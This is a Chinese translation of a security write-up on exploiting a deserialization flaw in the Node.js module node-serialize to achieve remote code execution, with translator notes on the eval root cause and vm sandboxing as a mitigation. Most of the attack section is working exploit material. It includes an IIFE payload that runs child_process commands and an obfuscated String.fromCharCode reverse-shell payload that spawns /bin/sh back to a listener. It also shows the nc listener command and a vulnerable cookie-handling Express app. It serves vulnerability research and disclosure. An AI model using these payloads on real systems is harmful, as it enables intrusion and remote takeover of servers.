原文鏈接:Exploiting Node.js deserialization bug for Remote Code Execution 有增改

原作者:Ajin Abraham

譯:Holic (知道創宇404安全實驗室)

tl;dr

若不可信的數據傳入 unserialize() 函數,通過傳遞立即調用函數表達式(IIFE)的 JavaScript 對象可以實現任意代碼執行。

漏洞詳情

審計 Node.js 代碼時,我正好看到一個名為 node-serialize 的序列號/反序列化模塊。下面是一段代碼示例,來自網絡請求的 cookie 會傳遞到該模塊的 unserialize() 函數中。

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);

Java,PHP,Ruby 和 Python 都出現過很多次反序列化的漏洞。下面是這些問題的相關資源:

但是我找不到任何關于 Node.js 中反序列號/對象注入的資源,于是我就想對此進行研究,然后我花了點兒時間成功利用此 bug,實現了任意代碼注入。

構建 Payload

我使用了 0.0.4 版本的 node-serialize 進行研究,成功利用的話,不可信輸入傳遞到 unserialize() 的時候可以執行任意代碼。創建 payload 最好使用同一模塊的 serialize() 函數。

我創建了以下 JavaScript 對象,將其傳入 serialize() 函數。

var y = {
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

我們得到以下輸出:

現在我們得到序列化的字符串,可以用 unserialize() 函數進行反序列化操作。那么問題來了,怎么代碼執行呢?只有觸發對象的 rce 成員函數才行。

后來我想到可以使用 JavaScript 的立即調用的函數表達式(IIFE)來調用該函數。如果我們在函數后使用 IIFE 括號 () ,在對象被創建時,函數就會馬上被調用。有點類似于 C 中的類構造函數。

現在修改過的代碼經 serialize() 函數馬上會被調用。

IIFE 運行良好,但序列化失敗了。于是我試著在之前序列化的字符串中函數體后面加上括號 (),并將其傳入 unserialize() 函數,很幸運,成功執行。那么就有了下面的 exploit:

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}

將其傳入 unserialize() 函數,觸發代碼執行。

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

進一步利用

現在我們知道了,如果不受信任的數據傳入其中,我們利用 node-serialize 模塊中的 unserialize() 函數。我們來利用 Web 程序中的漏洞反彈一個 shell 出來吧。

這里我使用 nodejsshell.py 生成反向 shell 的 payload。

$ python nodejsshell.py 127.0.0.1 1337

[+] LHOST = 127.0.0.1

[+] LPORT = 1337

[+] Encoding

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

現在我們生成反序列化的 payload,并在函數后面添加 IIFE 括號 ()

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

我們同樣要進行 Base64 編碼,然后在 Cookie 頭中加入 Payload,向服務器發送請求。

然后開端口監聽 shell 即可。

nc -l 127.0.0.1 1337

然后我們就有了一個反彈 shell!

原作者提供的演示視頻:https://youtu.be/GFacPoWOcw0

總結

我們利用了反序列化的漏洞,配合不受信任的用戶輸入實現任意代碼執行。經驗就是不要信任用戶輸入。而該漏洞的根本原因就是它在反序列化內部使用了 eval() 。我在另一個名為 serialize-to-js 的模塊中也發現了類似的漏洞。在該模塊中,Node.js 中的 require() 函數在使用 IIFE 反序列化對象的過程中沒有作用域,并且在它內部使用了 new Function() 進行序列號。我們仍可以使用略復雜的 payload 來實現代碼執行。


補充內容(譯者注):

上面是翻譯內容,關于本漏洞,我說幾點。

立即調用的函數表達式(IIFE)

在Javascript中,一對圓括號()是一種運算符,跟在函數名之后,表示調用該函數。比如,print()就表示調用print函數。

有時,我們需要在定義函數之后,立即調用該函數。這時,你不能在函數的定義之后加上圓括號,這會產生語法錯誤。

產生這個錯誤的原因是,function這個關鍵字即可以當作語句,也可以當作表達式。

為了避免歧義,規定 function 關鍵字出現在行首時,解釋為語句。

因此 IIFE 一般寫成下面的形式:

(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

而漏洞代碼位于 serialize.js 75 行附近:

主要是 eval 這一句:

eval('(' + obj[key].substring(FUNCFLAG.length) + ')')

而代碼執行恰好就是 eval 中的這倆括號構成 IIFE。

通過 GitHub 搜索,可以看到該模塊被不少項目使用:

如果不信任的輸入能夠進入 unserialize() 函數,就很有可能存在此漏洞風險。無腦 npm install 固然方便,但模塊安全性并不可知,這也是 npm 帶來方便的同時,可能存在的風險吧。

還有一點是 eval() 函數。這算是一危險函數,一般涉及到用戶交互數據的代碼,不建議開發者使用此函數,因為未受信任的數據很可能通過它進入到代碼上下文當中,帶來很大的潛在風險。

如果場景需要涉及到執行數據,可以使用 Node.js 的 vm 隔離出上下文。參考示例代碼,可以使用 script.runInNewContext([sandbox]) 等接口,自定義 sandbox 作為全局對象運行腳本代碼,并返回結果,這樣全局變量會受到沙箱限制。

比如另一個序列化模塊 funcster ,下圖是部分代碼,它將反序列化的函數運行于新的沙箱之中。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/213/